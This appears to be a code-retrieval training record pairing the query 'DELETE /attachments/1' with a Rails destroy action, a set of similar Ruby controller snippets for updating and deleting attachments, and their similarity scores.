"def update\n @attached = Attached.find(params[:id])\n\n respond_to do |format|\n if @attached.update_attributes(params[:attached])\n format.html { redirect_to @attached, notice: 'Attached was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attached.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incidentattachment.update(incidentattachment_params)\n format.html { redirect_to @incidentattachment, notice: 'Incidentattachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentattachment }\n else\n format.html { render :edit }\n format.json { render json: @incidentattachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n attachment = Attachment.find_by!(:slug => params[:id],\n :conversation_id => current_account.conversation_ids + [nil])\n\n if params[:task_list] and !params[:task_list][:tasks].empty?\n attachment.update_attribute(:tasks, params[:task_list][:tasks])\n end\n\n render :json => attachment\n end",
"def update\n respond_to do |format|\n if @cms_attachment.update(cms_attachment_params)\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_attachment }\n else\n format.html { render :edit }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_attachment.update(cms_attachment_params)\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_attachment }\n else\n format.html { render :edit }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_note\n id = unsafe_params[:id].to_i\n fail \"id needs to be an Integer\" unless id.is_a?(Integer)\n\n title = unsafe_params[:title]\n fail \"title needs to be a String\" unless title.is_a?(String)\n\n content = unsafe_params[:content] || \"\"\n fail \"content needs to be a String\" unless content.is_a?(String)\n\n attachments_to_save = unsafe_params[:attachments_to_save] || []\n fail \"attachments_to_save needs to be an array\" unless attachments_to_save.is_a?(Array)\n\n attachments_to_delete = unsafe_params[:attachments_to_delete] || []\n fail \"attachments_to_delete neeeds to be an array\" unless attachments_to_delete.is_a?(Array)\n\n note = nil\n Note.transaction do\n note = Note.find_by!(id: unsafe_params[:id])\n fail '' unless note.editable_by?(@context)\n\n attachments_to_save.each do |uid|\n item = item_from_uid(uid)\n note.attachments.find_or_create_by(item: item)\n end\n\n attachments_to_delete.each do |uid|\n item = item_from_uid(uid)\n note.attachments.where(item: item).destroy_all\n end\n\n note.update!(title: title, content: content)\n end\n\n render json: {\n id: note.id,\n path: note_path(note),\n }\n end",
"def update\n respond_to do |format|\n if @user_attachment.update(user_attachment_params)\n format.html { redirect_to @user_attachment, notice: 'User attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n expire_action( news_url(:slug=>@post.slug) )\n expire_action( news_url(nil) )\n expire_action( home_url() )\n\n # Add/Remove attachments\n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n params[:removed_attachments].each do |att_id|\n begin # Let's be safe about it...\n @post.attachments.find(att_id).destroy\n rescue\n STDERR.puts \"#{att_id} isn't a valid ID for this post.\"\n end\n end if params.has_key?( :removed_attachments )\n\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to posts_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_attachment.update(order_attachment_params)\n format.html { redirect_to @order_attachment, notice: 'Order attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_attachment }\n else\n format.html { render :edit }\n format.json { render json: @order_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @case.update(case_params)\n params[:case_attachments]['photo'].each do |a|\n @case_attachment = @case.case_attachments.create!(:photo => a, :case_id => @case.id)\n end\n format.html { redirect_to admin_cases_path, notice: \"Caso Clínico (#{@case.title}), alterado com sucesso!\" }\n format.json { render :show, status: :ok, location: [:admin, @case] }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_attachment(args={})\n raise ArgumentError unless args[:file] && args[:name]\n return unless has_attachment?(args[:name])\n delete_attachment(args[:name])\n set_attachment_attr(args)\n rescue ArgumentError => e\n raise ArgumentError, 'You must specify :file and :name'\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def test_issue_attachements\n log_user('jsmith', 'jsmith')\n\n post 'issues/edit/1',\n :notes => 'Some notes',\n :attachments => {'1' => {'file' => test_uploaded_file('testfile.txt', 'text/plain'), 'description' => 'This is an attachment'}}\n assert_redirected_to \"issues/show/1\"\n \n # make sure attachment was saved\n attachment = Issue.find(1).attachments.find_by_filename(\"testfile.txt\")\n assert_kind_of Attachment, attachment\n assert_equal Issue.find(1), attachment.container\n assert_equal 'This is an attachment', attachment.description\n # verify the size of the attachment stored in db\n #assert_equal file_data_1.length, attachment.filesize\n # verify that the attachment was written to disk\n assert File.exist?(attachment.diskfile)\n \n # remove the attachments\n Issue.find(1).attachments.each(&:destroy)\n assert_equal 0, Issue.find(1).attachments.length\n end",
"def update!(**args)\n @attachment_id = args[:attachment_id] unless args[:attachment_id].nil?\n @data = args[:data] unless args[:data].nil?\n @size = args[:size] unless args[:size].nil?\n end",
"def update\n respond_to do |format|\n if @attachfile.update(attachfile_params)\n format.html { redirect_to @attachfile, notice: 'Attachfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachfile }\n else\n format.html { render :edit }\n format.json { render json: @attachfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friends_attachment.update(friends_attachment_params)\n format.html { redirect_to @friends_attachment, notice: \"Friends attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friends_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friends_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_attachment index, id, pipeline, document\n document_for_reporting = document.clone\n document_for_reporting[\"data\"] = document_for_reporting[\"data\"] ? \"[...#{document_for_reporting[\"data\"].length} characters long]\" : \"none\"\n\n es_uri = \"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}?pipeline=#{pipeline}\"\n\n log.debug(\"Uploading attachment through call: #{es_uri}\")\n log.debug(\"Uploading approximate body: #{document_for_reporting}\")\n\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}?pipeline=#{pipeline}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end",
"def connect_attachments(params)\n json_attachments = params['data'].try(:[], 'relationships').try(:[], 'attachments')\n return if json_attachments.blank?\n\n attachment_list = resource_list('attachment', json_attachments)\n\n attachment_list.each do |attachment|\n attachment.attachable = self\n attachment.save\n end\n end",
"def update\n @aboutshetuan = Aboutshetuan.find(params[:id])\n\n respond_to do |format|\n if @aboutshetuan.update_attributes(params[:aboutshetuan])\n Attachment.create(:attachment => params[:attachment], :attachmentable => @aboutshetuan) if params[:attachment]\n format.html { redirect_to @aboutshetuan, notice: 'Aboutshetuan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aboutshetuan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n if @attached_asset.update_attributes(params[:attached_asset])\n format.html { redirect_to @attached_asset, notice: 'Attached asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attached_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @capa = Capa.find(params[:id])\n\n respond_to do |format|\n if @capa.update_attributes(params[:capa])\n unless params[:capa_files].blank?\n params[:capa_files]['file'].each do |a|\n @capa_file = @capa.capa_files.create!(:file => a, :capa_id => @capa.id)\n end\n end\n format.html { redirect_to @capa, notice: 'Capa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @capa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n @body = args[:body] if args.key?(:body)\n @create_time = args[:create_time] if args.key?(:create_time)\n @name = args[:name] if args.key?(:name)\n @permissions = args[:permissions] if args.key?(:permissions)\n @title = args[:title] if args.key?(:title)\n @trash_time = args[:trash_time] if args.key?(:trash_time)\n @trashed = args[:trashed] if args.key?(:trashed)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update\n respond_to do |format|\n if @embedded_attachment.update(embedded_attachment_params)\n format.html { redirect_to @embedded_attachment, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @embedded_attachment }\n else\n format.html { render :edit }\n format.json { render json: @embedded_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attachment_id = args[:attachment_id] if args.key?(:attachment_id)\n @initiator = args[:initiator] if args.key?(:initiator)\n @uri = args[:uri] if args.key?(:uri)\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def update\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n if @attachment_datum.update_attributes(params[:attachment_datum])\n format.html { redirect_to @attachment_datum, notice: 'Attachment datum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event.update(event_params)\n params[:event_attachments]['image'].each do |a|\n @event_attachment = @event.event_attachments.create!(:image => a, :event_id => @event.id)\n end\n format.html { redirect_to edit_event_path(@event), notice: 'event was successfully edited.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @travel_post_attachment.update(travel_post_attachment_params)\n format.html { redirect_to @travel_post_attachment, notice: 'Travel post attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @travel_post_attachment }\n else\n format.html { render :edit }\n format.json { render json: @travel_post_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attachment_name = args[:attachment_name] if args.key?(:attachment_name)\n @namespaced_type = args[:namespaced_type] if args.key?(:namespaced_type)\n @data = args[:data] if args.key?(:data)\n end",
"def update\n respond_to do |format|\n if @post_attachment.update(post_attachment_params)\n format.html { redirect_to @post_attachment.post, notice: 'Post attachment was successfully updated.' }\n end \n end\nend",
"def update\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n if @pattachment.update_attributes(params[:pattachment])\n format.html { redirect_to @pattachment, notice: 'Pattachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pattachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @article.update(article_params)\n unless params[:draft_img].blank?\n attachment = Attachment.create(attachment_entity_type: \"Article\",attachment_entity_id: @article.id , path: params[:draft_img], created_by: 1 ) \n @article.cover_img = attachment.id\n @article.save\n end\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @note_attachment.update(note_attachment_params)\n format.html { redirect_to @note_attachment.note, notice: 'Note attachment was successfully updated.' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @meeting.update(edit_params)\n @meeting.file.attach(params[:meeting][:my_file])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n analyze\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @link_attachment.update(link_attachment_params)\n format.html { redirect_to @link_attachment, notice: 'Link attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @link_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @knowledge_article.update(knowledge_article_params)\n #update file attachments\n\n format.html { redirect_to @knowledge_article, notice: 'Knowledge article was successfully updated.' }\n format.json { render :show, status: :ok, location: @knowledge_article }\n else\n format.html { render :edit }\n format.json { render json: @knowledge_article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_attachment\n @attachment = Attachment.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @teacher_attachment.update(teacher_attachment_params)\n format.html { redirect_to @teacher_attachment, notice: 'Teacher attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @teacher_attachment }\n else\n format.html { render :edit }\n format.json { render json: @teacher_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end",
"def update\n @documentary.thumbnail = params[:file]\n @documentary.save!\n json_response({ message: Message.media_created })\n end",
"def update\n respond_to do |format|\n if @attachment.update(programs_attachment_params)\n format.js {}\n format.json { head :no_content, status: :updated }\n else\n format.js { render status: :unprocessable_entity }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n @timestamp = args[:timestamp] if args.key?(:timestamp)\n @value = args[:value] if args.key?(:value)\n end",
"def update\n respond_to do |format|\n if @property_attachment.update(property_attachment_params)\n format.html { redirect_to @property_attachment, notice: \"Property attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attachment_id = args[:attachment_id] if args.key?(:attachment_id)\n @client_name_space = args[:client_name_space] if args.key?(:client_name_space)\n @comment = args[:comment] if args.key?(:comment)\n @messages = args[:messages] if args.key?(:messages)\n @type_id = args[:type_id] if args.key?(:type_id)\n end",
"def update\n @attachment = Attachment.find(params[:id])\n params[:attachment]['role_ids'] ||=[]\n if params[:public_page]==\"public\"\n params[:attachment]['role_ids']=[]\n end\n # RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:position]=#{params[:position]}\\n\")\n if params[:position] && !params[:position].blank?\n params[:attachment]['position']=params[:position]\n # RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:attachment]['position']= #{params[:attachment]['position']}\\n\")\n end\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n flash[:notice] = 'attachment was successfully updated.'.t\n format.html { redirect_to page_attachments_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors.to_xml }\n end\n end\n end",
"def update!(**args)\n @attachment = args[:attachment] if args.key?(:attachment)\n @segment = args[:segment] if args.key?(:segment)\n end",
"def upload_attachment(documentname,locale,fullpath, mime_type,attachmentname)\n thisfile = File.new(\"#{fullpath}\")\n # Create the hash of the file for comparison, since we don't want to update the attachment if it hasn't changed\n this_attachment_hash = Digest::SHA256.file(thisfile).hexdigest\n dupe = Topic.by_topicname_and_locale.key([\"#{documentname}\",\"#{locale}\"]).count > 0\n unless dupe\n then\n# begin\n @thisattachment = Topic.create!({\n :locale => locale,\n :attachment_hash => this_attachment_hash,\n :topicname => documentname})\n @thisattachment.create_attachment(\n :name => attachmentname,\n :file => thisfile,\n :content_type => mime_type)\n # rescue\n # STDERR.puts \"Could not create a new topic with lang/locale: #{locale} and filename #{documentname}\"\n # end\n else\n # Hopefully we don't need the first, but just in case\n @thisattachment = Topic.by_topicname_and_locale.key([\"#{documentname}\",\"#{locale}\"]).first\n begin\n @thisattachment.update_attributes(\n :version_removed => CURRENT_PATCH,\n :api_version_removed => CURRENT_API_VERSION,\n :locale => locale,\n :topicname => documentname)\n rescue\n STDERR.puts \"Could not update attributes on lang/locale: #{locale} and filename #{documentname}\"\n end\n # If there is already an attachment with this filename, check to see if it needs to be updated\n if (@thisattachment.has_attachment?(attachmentname))\n then\n # Only update it if it's changed\n couch_attachment_hash = Digest::SHA256.hexdigest(@thisattachment.read_attachment(attachmentname))\n if (couch_attachment_hash != this_attachment_hash)\n then\n begin\n @thisattachment.update_attributes({:attachment_hash => this_attachment_hash})\n @thisattachment.update_attachment({\n :name => attachmentname,\n :file => thisfile,\n :content_type => mime_type})\n rescue\n STDERR.puts \"Could not update attributes, or the attachment on lang/locale: #{locale} and filename #{documentname}, for #{attachmentname}\"\n end\n end\n else\n begin\n @thisattachment.update_attributes({:attachment_hash => this_attachment_hash})\n @thisattachment.create_attachment({\n :name => attachmentname,\n :file => thisfile,\n :content_type => mime_type})\n rescue\n STDERR.puts \"Could not update attributes on lang/locale: #{locale} and filename #{documentname}\"\n end\n end\n end\n begin\n # This may not be required, but the couchrest::model doc isn't clear if create_attachment saves the document or not.\n @thisattachment.save\n rescue\n STDERR.puts \"Could not save filename #{documentname}\"\n end\n thisfile.close\nend",
"def add_attachment_to_results_section(attachment, results)\n attachments_elemnt = add_element_to_section(results,\"attachments\",attachment.to_s)\n url = @base + \"/api/v1/attachments/#{attachment[\"id\"]}.json\"\n params = {token: token, item: {element_id: attachments_elemnt[\"id\"]}}\n response = JSON.parse(RestClient.put(url,params))\nend",
"def update\n respond_to do |format|\n if @pdf_attachment.update(pdf_attachment_params)\n format.html { redirect_to @pdf_attachment, notice: 'File was successfully updated.' }\n format.json { render :show, status: :ok, location: @pdf_attachment }\n else\n format.html { render :edit }\n format.json { render json: @pdf_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @boat_attachment.update(boat_attachment_params)\n format.html { redirect_to @boat_attachment, notice: 'Boat attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_attachment }\n else\n format.html { render :edit }\n format.json { render json: @boat_attachment.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def update_attachment(name, values)\n attachment = find(name)\n if attachment\n attachment.headers.merge! values\n write_headers\n end\n end",
"def update!(**args)\n @attachment_sha1 = args[:attachment_sha1] if args.key?(:attachment_sha1)\n @cosmo_id = args[:cosmo_id] if args.key?(:cosmo_id)\n @cosmo_name_space = args[:cosmo_name_space] if args.key?(:cosmo_name_space)\n @encrypted_id = args[:encrypted_id] if args.key?(:encrypted_id)\n @mime_type = args[:mime_type] if args.key?(:mime_type)\n @share_scope = args[:share_scope] if args.key?(:share_scope)\n end",
"def update\n @article.thumbnail = params[:file]\n @article.save!\n json_response({ message: Message.media_created })\n end",
"def add_attachments_to_existing_note(note, attachments)\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to note ID #{note.id}\"\n existing_note_attachment_input(note).when_present 1\n existing_note_attachment_input(note).send_keys Utils.asset_file_path(attach.file_name)\n existing_note_attachment_delete_button(note, attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.updated_date = Time.now\n note.attachments << attach\n end\n end",
"def update\n respond_to do |format|\n if @design_image_attachment.update(design_image_attachment_params)\n format.html { redirect_to @design_image_attachment, notice: 'Design image attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @design_image_attachment }\n else\n format.html { render :edit }\n format.json { render json: @design_image_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject_file.update(subject_file_params)\n format.html { redirect_to @subject_file, notice: 'Subject file was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_file }\n else\n format.html { render :edit }\n format.json { render json: @subject_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @pub_attachment.update(pub_attachment_params)\n format.html { redirect_to root_path, notice: 'Pub attachment was successfully updated.' }\n format.js\n else\n format.html { render :edit }\n format.js\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update!(**args)\n @attachment_data_ref = args[:attachment_data_ref] if args.key?(:attachment_data_ref)\n @content_name = args[:content_name] if args.key?(:content_name)\n @content_type = args[:content_type] if args.key?(:content_type)\n @download_uri = args[:download_uri] if args.key?(:download_uri)\n @drive_data_ref = args[:drive_data_ref] if args.key?(:drive_data_ref)\n @name = args[:name] if args.key?(:name)\n @source = args[:source] if args.key?(:source)\n @thumbnail_uri = args[:thumbnail_uri] if args.key?(:thumbnail_uri)\n end",
"def update!(**args)\n @attachment_data_ref = args[:attachment_data_ref] if args.key?(:attachment_data_ref)\n @content_name = args[:content_name] if args.key?(:content_name)\n @content_type = args[:content_type] if args.key?(:content_type)\n @download_uri = args[:download_uri] if args.key?(:download_uri)\n @drive_data_ref = args[:drive_data_ref] if args.key?(:drive_data_ref)\n @name = args[:name] if args.key?(:name)\n @source = args[:source] if args.key?(:source)\n @thumbnail_uri = args[:thumbnail_uri] if args.key?(:thumbnail_uri)\n end",
"def destroy\n @attachments = Attachment.find_by_id(params[:id])\n if @attachments.present?\n @attachments.destroy\n render :json=>{:response=>\"success\"}\n\t\tend\n end",
"def attachment_edit\n c_user = current_user()\n return ( render status: 401, json: { result: \"Not Authorized\" } ) unless logged_in? # Ensure the user is logged in\n course = Course.where(id: params[:course_id]).first()\n\n # Course Not Found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if attach_type_params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif attach_type_params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n else\n render status: 400, json: { result: \"Invalid Type\" }\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Draft Course case\n if course.visibility == Visibility.draft and course.user_id == c_user.id and attache.class != Embed\n status = update_attachable(params[:attach_id], course.id, attach_params)\n if status\n render status: 200, json: { result: attache }\n else\n render status: 400, json: { result: attache.errors }\n end\n\n # Privledged User case\n elsif c_user.role == Role.admin or c_user.role == Role.moderator\n status = update_attachable(params[:attach_id], course.id, attach_params) \n if status\n render status: 200, json: { result: attache }\n else\n render status: 400, json: { result: attache.errors }\n end\n\n # Course is not (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end"
] |
[
"0.70723903",
"0.6969434",
"0.69647133",
"0.6940061",
"0.6824948",
"0.6824948",
"0.6770707",
"0.67692095",
"0.6754012",
"0.67488635",
"0.6722136",
"0.6639801",
"0.6639801",
"0.66233605",
"0.6618303",
"0.6527931",
"0.65129924",
"0.65124446",
"0.6488836",
"0.6439156",
"0.6397283",
"0.6387737",
"0.6387737",
"0.6385568",
"0.6332543",
"0.62781924",
"0.62697965",
"0.6253373",
"0.6253059",
"0.6226126",
"0.62085354",
"0.6192825",
"0.6192825",
"0.61793905",
"0.6162506",
"0.6148625",
"0.61435074",
"0.61080366",
"0.6082014",
"0.6078186",
"0.60741305",
"0.60737246",
"0.60709965",
"0.605416",
"0.60501957",
"0.60337055",
"0.6021548",
"0.5992908",
"0.5973636",
"0.5962731",
"0.59579897",
"0.59575427",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5955311",
"0.5954912",
"0.59444183",
"0.5929586",
"0.5925387",
"0.59241474",
"0.5908296",
"0.59079283",
"0.59018534",
"0.5900956",
"0.58884764",
"0.5879866",
"0.58772796",
"0.58756816",
"0.58686733",
"0.58679354",
"0.5867066",
"0.58368784",
"0.5835658",
"0.58310497",
"0.58247787",
"0.5812731",
"0.58102304",
"0.5793075",
"0.5788195",
"0.5783098",
"0.57728344",
"0.5766731",
"0.5764316",
"0.5762936",
"0.5753317",
"0.5736508",
"0.57264537",
"0.5725122",
"0.5723346",
"0.5720463",
"0.5718344",
"0.5717452",
"0.5717452",
"0.5711298",
"0.56992376"
] |
0.69444317
|
3
|
DELETE /attachments/1 DELETE /attachments/1.json
|
def destroy
@attachment = Attachment.find_by_name(params[:id])
@attachment.destroy
respond_to do |format|
format.html { redirect_to attachments_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @attachments = Attachment.find_by_id(params[:id])\n if @attachments.present?\n @attachments.destroy\n render :json=>{:response=>\"success\"}\n\t\tend\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @message_attachment = MessageAttachment.find(params[:id])\n @message_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to message_attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(attachments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @file_upload_attachment.destroy\n respond_to do |format|\n format.html { redirect_to file_upload_attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n #TODO: delete file from disk (folder too)\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to attachments_url }\n format.js { render :nothing => true }\n format.json { render :json => true }\n end\n end",
"def destroy\n @attachment_datum = AttachmentDatum.find(params[:id])\n @attachment_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to attachment_data_url }\n format.json { head :no_content }\n end\n end",
"def delete\n model.delete_attachment(@path)\n end",
"def destroy\n @link_attachment.destroy\n respond_to do |format|\n format.html { redirect_to link_attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.detach\n head :no_content\n end",
"def destroy\n @post_attachment.destroy\n respond_to do |format|\n format.html { redirect_to post_attachments_url, notice: 'Post attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.file.purge\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: 'Attachment was successfully destroyed.' }\n end\n end",
"def delete\n Attachment.destroy(params[:id]) unless params[:id].blank? if request.delete?\n @attachment_count = params[:attachment_number] || 0\n end",
"def destroy\n @attachfile.destroy\n respond_to do |format|\n format.html { redirect_to attachfiles_url, notice: 'Attachfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(pad_attachments_path(@pad)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_attachment.destroy\n respond_to do |format|\n format.html { redirect_to cms_attachments_url, notice: 'Attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pattachment = Pattachment.find(params[:id])\n @pattachment.destroy\n\n respond_to do |format|\n format.html { redirect_to pattachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy_attachment\n a = Attachment.find(1) rescue nil\n if !a.nil?\n a.destroy\n end\n end",
